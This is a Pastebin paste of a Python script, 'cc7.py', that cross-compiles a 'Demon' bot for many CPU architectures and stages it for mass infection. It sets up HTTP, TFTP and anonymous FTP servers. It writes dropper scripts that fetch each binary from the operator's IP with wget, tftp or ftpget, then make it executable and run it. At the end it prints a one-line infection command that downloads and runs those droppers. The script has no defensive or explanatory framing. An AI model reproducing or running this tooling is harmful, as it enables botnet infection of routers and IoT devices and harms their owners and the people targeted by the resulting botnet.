Advertisement
Guest User

cc7.py

a guest
Aug 25th, 2019
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.15 KB | None | 0 0
  1.  
  2. import subprocess, urllib2, sys
  3.  
  4. if len(sys.argv[2]) != 0:
  5. ip = sys.argv[2]
  6. else:
  7. print("\x1b[0;31mIncorrect Usage!")
  8. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  9. exit(1)
  10.  
  11. bot = sys.argv[1]
  12.  
  13. yourafag = raw_input("Get arch's? Y/n:")
  14. if yourafag.lower() == "y":
  15. get_arch = True
  16. else:
  17. get_arch = False
  18.  
  19. compileas = ["Demon.mips", #mips
  20. "Demon.mpsl", #mipsel
  21. "Demon.sh4", #sh4
  22. "Demon.x86", #x86
  23. "Demon.arm6", #Armv6l
  24. "Demon.i686", #i686
  25. "Demon.ppc", #ppc
  26. "Demon.i586", #i586
  27. "Demon.m68k", #m68k
  28. "Demon.sparc", #sparc
  29. "Demon.arm4", #arm4
  30. "Demon.arm5", #arm5
  31. "Demon.arm7", #arm7
  32. "Demon.ppc440fp"] #ppc440fp
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2',
  47. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  48.  
  49. ccs = ["cross-compiler-mips",
  50. "cross-compiler-mipsel",
  51. "cross-compiler-sh4",
  52. "cross-compiler-x86_64",
  53. "cross-compiler-armv6l",
  54. "cross-compiler-i686",
  55. "cross-compiler-powerpc",
  56. "cross-compiler-i586",
  57. "cross-compiler-m68k",
  58. "cross-compiler-sparc",
  59. "cross-compiler-armv4l",
  60. "cross-compiler-armv5l",
  61. "cross-compiler-armv7l",
  62. "cross-compiler-powerpc-440fp"]
  63.  
  64. def run(cmd):
  65. subprocess.call(cmd, shell=True)
  66.  
  67. run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  68.  
  69. if get_arch == True:
  70. run("rm -rf cross-compiler-*")
  71.  
  72. print("Downloading Architectures")
  73.  
  74. for arch in getarch:
  75. run("wget " + arch + " --no-check-certificate >> /dev/null")
  76. run("tar -xvf *tar.bz2")
  77. run("rm -rf *tar.bz2")
  78.  
  79. print("Cross Compilers Downloaded...")
  80.  
  81. num = 0
  82. for cc in ccs:
  83. arch = cc.split("-")[2]
  84. run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  85. num += 1
  86.  
  87. print("Cross Compiling Done!")
  88. print("Setting up your httpd and tftp")
  89.  
  90. run("yum install httpd -y")
  91. run("service httpd start")
  92. run("yum install xinetd tftp tftp-server -y")
  93. run("yum install vsftpd -y")
  94. run("service vsftpd start")
  95.  
  96. run('''echo -e "# default: off
  97. # description: The tftp server serves files using the trivial file transfer \
  98. # protocol. The tftp protocol is often used to boot diskless \
  99. # workstations, download configuration files to network-aware printers, \
  100. # and to start the installation process for some operating systems.
  101. service tftp
  102. {
  103. socket_type = dgram
  104. protocol = udp
  105. wait = yes
  106. user = root
  107. server = /usr/sbin/in.tftpd
  108. server_args = -s -c /var/lib/tftpboot
  109. disable = no
  110. per_source = 11
  111. cps = 100 2
  112. flags = IPv4
  113. }
  114. " > /etc/xinetd.d/tftp''')
  115. run("service xinetd start")
  116.  
  117. run('''echo -e "listen=YES
  118. local_enable=NO
  119. anonymous_enable=YES
  120. write_enable=NO
  121. anon_root=/var/ftp
  122. anon_max_rate=2048000
  123. xferlog_enable=YES
  124. listen_address='''+ ip +'''
  125. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  126. run("service vsftpd restart")
  127. for i in compileas:
  128. run("cp " + i + " /var/www/html")
  129. run("cp " + i + " /var/ftp")
  130. run("mv " + i + " /var/lib/tftpboot")
  131.  
  132. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  133.  
  134. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  135.  
  136. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  137.  
  138. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  139.  
  140. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  141.  
  142. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  143.  
  144. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  145.  
  146. for i in compileas:
  147. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  148. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  149. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  150. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  151.  
  152. run("service xinetd restart")
  153. run("service httpd restart")
  154. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  155.  
  156. print("\x1b[0;32mcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh\x1b[0m")
  157. print
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement